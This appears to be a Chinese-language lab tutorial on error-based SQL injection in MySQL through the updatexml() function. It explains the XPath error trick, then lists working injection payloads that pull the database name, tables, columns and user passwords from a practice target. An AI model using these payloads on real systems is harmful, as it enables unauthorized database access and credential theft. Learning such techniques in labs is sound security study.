文章目录
- 前言
- MySQL updatexml报错注入
前言
-
XML
XML 被设计用来传输和存储数据,是各种应用程序之间进行数据传输的最常用的工具。
-
xpath
XPath 是一门在 XML 文档中查找信息的语言。XPath 使用路径表达式来选取 XML 文档中的节点或者节点集。这些路径表达式和我们在常规的电脑文件系统中看到的表达式非常相似。
-
updatexml()
语法格式
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string ,代表路径,Xpath格式的字符串,例如//title[@lang]
第三个参数:new_value,String格式,替换查找到的符合条件的数据函数作用
改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
报错原理
updatexml()使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
利用方式
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函数是将其连成一个字符串,不符合XPATH_string的格式,从而出现格式错误,爆出ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
MySQL updatexml报错注入
-
开启靶场
-
数据库名
?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
-
表名
将database()
换成表名group_concat(table_name) from information_schema.tables where table_schema=database()
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
-
列名
将database()
换成user
表下的列名group_concat(column_name) from information_schema.columns where table_name='user'
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='user'),0x7e),1)
-
字段值
将database()
换成user
表下的字段值group_concat(id,'--',username,'--',password,'--') from user
?id=1 and updatexml(1,concat(0x7e,(select group_concat(id,'--',username,'--',password,'--') from user),0x7e),1)
一个个字段输出
-
全文复现时间:一个小时。